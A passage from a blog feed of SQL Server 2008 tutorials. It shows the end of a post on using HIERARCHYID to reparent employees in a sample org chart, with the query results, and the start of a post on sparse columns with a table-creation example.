&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;/1/&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;3 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: green;"&gt;Peter Hanna &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: green;"&gt;1 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: green;"&gt;0x68 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;0x &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;0x &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: green;"&gt;0x6AC0 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: green;"&gt;1 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;/2/&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;4 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: green;"&gt;Richard Burns &lt;/span&gt;&amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;2 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: green;"&gt;0x5AC0 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: green;"&gt;0x58 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: green;"&gt;0x &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: green;"&gt;0x5AD6 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: green;"&gt;2 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;/1/1/&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;*/&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- Move Richard to report to Peter&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;DECLARE &lt;/span&gt;@new_mgr &lt;span style="color: blue;"&gt;HIERARCHYID&lt;/span&gt; = (&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;org_chart_path&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;FROM &lt;/span&gt;Employees&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;WHERE &lt;/span&gt;emp_name = &lt;span style="color: #a31515;"&gt;'Peter Hanna'&lt;/span&gt;);&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;UPDATE &lt;/span&gt;Employees&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SET &lt;/span&gt;org_chart_path = org_chart_path.Reparent(org_chart_path.GetAncestor(1), &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;  @new_mgr)&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;WHERE &lt;/span&gt;emp_name = &lt;span style="color: #a31515;"&gt;'Richard Burns'&lt;/span&gt;;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;emp_id, emp_name,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; manager_id, org_chart_path,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; org_chart_path.GetAncestor(1) &lt;span style="color: blue;"&gt;AS &lt;/span&gt;emp_manager,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;hierarchyid&lt;/span&gt;::GetRoot() &lt;span style="color: blue;"&gt;AS &lt;/span&gt;top_manager,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; org_chart_path.GetDescendant(&lt;span style="color: gray;"&gt;NULL&lt;/span&gt;, &lt;span style="color: gray;"&gt;NULL&lt;/span&gt;) &lt;span style="color: blue;"&gt;AS &lt;/span&gt;emp_descendant,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; org_chart_path.GetLevel() &lt;span style="color: blue;"&gt;AS &lt;/span&gt;emp_level,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; org_chart_path.ToString() &lt;span style="color: blue;"&gt;AS &lt;/span&gt;emp_org_path&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;FROM &lt;/span&gt;Employees;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;/*&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;emp_id &lt;/span&gt; &lt;span style="color: green;"&gt;emp_name &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;manager_id &lt;/span&gt; &lt;span style="color: green;"&gt;org_chart_path &lt;/span&gt;&amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;emp_manager &lt;/span&gt;&amp;nbsp; &lt;span style="color: green;"&gt;top_manager &lt;/span&gt; &lt;span style="color: green;"&gt;emp_descendant &lt;/span&gt;&amp;nbsp; &lt;span style="color: green;"&gt;emp_level emp_org_path&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;------- --------------- ----------- ----------------- ------------- ------------ ---------------- --------- ------------&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;1 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: green;"&gt;Jeff Brown &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: green;"&gt;NULL &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;0x &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;NULL &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: green;"&gt;0x &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: green;"&gt;0x58 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;0 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;/&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;2 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: green;"&gt;John Doe &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;1 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: green;"&gt;0x58 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: green;"&gt;0x &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;0x &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: green;"&gt;0x5AC0 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: green;"&gt;1 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;/1/&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;3 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: green;"&gt;Peter Hanna &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;1 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: green;"&gt;0x68 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: green;"&gt;0x &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;0x &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: green;"&gt;0x6AC0 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: green;"&gt;1 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;/2/&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;4 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: green;"&gt;Richard Burns &lt;/span&gt;&amp;nbsp; &lt;span style="color: green;"&gt;2 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: green;"&gt;0x6AC0 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;0x68 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: green;"&gt;0x &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: green;"&gt;0x6AD6 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: green;"&gt;2 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;/2/1/&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;*/&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;From the above example it is very easy to see the similarity between materialized path and HIERARCHYID when the HIERARCHYID is converted to the character format using the ToString() method. Converting hierarchy from traditional parent/child format to HIERARCHYID is simple using recursive CTEs (very similar to building a materialized path).&lt;br /&gt;&lt;br /&gt;Note:&lt;br /&gt;&lt;br /&gt;This code has been tested with SQL Server 2008 CTP 6 (February 2008). As of SQL Server 2008 Release Candidate 0 (June 2008) the method Reparent() has been replaced with the method GetReparentedValue(). It is called using the same parameters and returns the same value.&lt;br /&gt;&lt;br /&gt;Additional resources:&lt;br /&gt;&lt;br /&gt;Using hierarchyid Data Types&lt;br /&gt;&lt;a href='http://msdn.microsoft.com/en-us/library/bb677173(SQL.100).aspx' target='_blank'&gt;http://msdn.microsoft.com/en-us/library/bb677173(SQL.100).aspx&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Working with hierarchyid Data&lt;br /&gt;&lt;a href='http://msdn.microsoft.com/en-us/library/bb677212(SQL.100).aspx' target='_blank'&gt;http://msdn.microsoft.com/en-us/library/bb677212(SQL.100).aspx&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4282222233168200124-3563585936875860514?l=pratchev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pratchev.blogspot.com/feeds/3563585936875860514/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4282222233168200124&amp;postID=3563585936875860514' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/3563585936875860514'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/3563585936875860514'/><link rel='alternate' type='text/html' href='http://pratchev.blogspot.com/2008/05/hierarchies-in-sql-server-2008.html' title='Hierarchies in SQL Server 2008'/><author><name>Plamen Ratchev</name><uri>http://www.blogger.com/profile/02027705815827955614</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_xSJ2NVXK3d0/TEDSRw15A_I/AAAAAAAAACY/4kesPlCdN3w/S220/Plamen_c_113.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4282222233168200124.post-7955105402281772094</id><published>2008-04-28T15:46:00.002-04:00</published><updated>2008-04-29T16:01:51.110-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='t-sql programming'/><category scheme='http://www.blogger.com/atom/ns#' term='sql server 2008'/><title type='text'>Sparse Columns</title><content type='html'>Sparse columns are another addition to the SQL Server 2008 tool belt. They offer a good trade-off for many applications: taking no space if they are empty and more space if they have data. In other words they optimize storage for NULL values.&lt;br /&gt;&lt;br /&gt;Sparse columns are just like ordinary columns with a few limitations. They are defined with the SPARSE keyword and there is no difference on how they are used in data manipulation statements.&lt;br /&gt;&lt;br /&gt;Here are the details:&lt;br /&gt;&lt;br /&gt;Pros:&lt;br /&gt; • Storing NULL in a sparse column takes up no space at all&lt;br /&gt; • Up to 30,000 columns &lt;br /&gt; • To any external application the column will behave the same &lt;br /&gt; • Sparse columns fit well with filtered indexes to index on non-NULL values&lt;br /&gt;&lt;br /&gt;Cons:&lt;br /&gt; • If a sparse column has data it takes 4 more bytes than a normal column &lt;br /&gt; • Not all data types can be sparse: TEXT, NTEXT, IMAGE, TIMESTAMP, user-defined data types, GEOMETRY, GEOGRAPHY, and VARBINARY(MAX) with the FILESTREAM attribute&lt;br /&gt; • Computed columns cannot be sparse &lt;br /&gt; • Cannot have default values&lt;br /&gt;&lt;br /&gt;Here is example of creating and using sparse columns.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;div style="color: black; background: white;"&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;CREATE TABLE &lt;/span&gt;Survey (&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp; survey_nbr &lt;span style="color: blue;"&gt;INT &lt;/span&gt;&lt;span style="color: gray;"&gt;NOT NULL&lt;/span&gt;&lt;span style="color: blue;"&gt; PRIMARY KEY&lt;/span&gt;,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp; survey_desc &lt;span style="color: blue;"&gt;VARCHAR&lt;/span&gt;(30),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp; survey_info1 &lt;span style="color: blue;"&gt;VARCHAR&lt;/span&gt;(30) SPARSE &lt;span style="color: gray;"&gt;NULL&lt;/span&gt;,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp; survey_info2 &lt;span style="color: blue;"&gt;VARCHAR&lt;/span&gt;(30) SPARSE &lt;span style="color: gray;"&gt;NULL&lt;/span&gt;,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp; survey_info3 &lt;span style="color: blue;"&gt;VARCHAR&lt;/span&gt;(30) SPARSE &lt;span style="co
